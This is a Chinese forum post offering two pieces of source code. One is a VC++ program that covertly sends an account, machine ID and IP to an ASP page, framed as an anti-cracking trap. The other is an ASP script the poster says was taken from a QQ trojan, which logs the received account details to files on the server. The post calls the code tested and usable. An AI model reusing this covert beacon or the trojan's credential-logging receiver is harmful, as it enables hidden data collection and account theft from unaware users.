HanDs
管理员

[Visual Studio文章] vc实现asp收信部分源码 



这是以前在一个项目上写的.防止别人破解的一个暗桩.这段代码属于测试代码.但是实现了程序主要功能.
        这个技术分2个部分:
        1.主程序提交asp页面.
        2.与asp页面记录的功能.

主程序端源码:
#include "stdafx.h"
#include "123.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#include   <afxinet.h>

// 唯一的应用程序对象

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    int nRetCode = 0;

    // 初始化 MFC 并在失败时显示错误
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    {
        // TODO: 更改错误代码以符合您的需要
        _tprintf(_T("致命错误: MFC 初始化失败\n"));
        nRetCode = 1;
    }
    else
    {
        // TODO: 在此处为应用程序的行为编写代码。
        CInternetSession InternetS;
       
        CString strUrl = "http://127.0.0.1/free.asp?";

        strUrl =strUrl + "a=有人尝试破解" + "&" + "m=12322222" + "&" + "i=127.0.0.12" + "&" + "f=watsy专用";

        try
        {
            InternetS.OpenURL(strUrl);
        }
        catch (...)
        {
            InternetS.Close();
            MessageBox(NULL,"异常!",NULL,MB_OK);
        }
    }

    return nRetCode;
}

对于上面的有人可能说必须是mfc的.当然不用MFC的也可以实现.不过要用socket手工构造完整的语句.

本人不懂网页.所以asp收信的源码是从一个QQ木马里面提取出来的.为了感谢作者.大家回复一下吧..源码经过测试可用.

下面是asp网页端源码:


<%

StrLogFile=date & "-Count.txt"

StrLogBFile=date & "-AccountCount.txt"


Account=request("a")

machineID=request("m")

QQIP=request("i")

StrLogText=Account&"----"&machineID&"----IP:"&QQIP

StrLogBText=Account&"----"&machineID&"----IP:"&QQIP


if sQQG = "No" then
    set f=Server.CreateObject("Scripting.FileSystemObject")
    If f.FileExists(Server.mappath(".") & "\" & StrLogFile) = True Then
    Set ff = f.OpenTextFile(Server.mappath(".") & "\" & StrLogFile, 8, False, 0)
    Else
    Set ff = f.CreateTextFile(Server.mappath(".") & "\" & StrLogFile, true)
    End If
    ff.writeline(StrLogText)
    ff.close
    set ff=nothing
    set f=nothing

else

    set fB=Server.CreateObject("Scripting.FileSystemObject")
    If fB.FileExists(Server.mappath(".") & "\" & StrLogBFile) = True Then
    Set ffB = fB.OpenTextFile(Server.mappath(".") & "\" & StrLogBFile, 8, False, 0)
    Else
    Set ffB = fB.CreateTextFile(Server.mappath(".") & "\" & StrLogBFile, true)
    End If
    ffB.writeline(StrLogBText)
    ffB.close
    set ffB=nothing
    set fB=nothing

end if
%>


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
vc 实现 asp 收信部分源码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复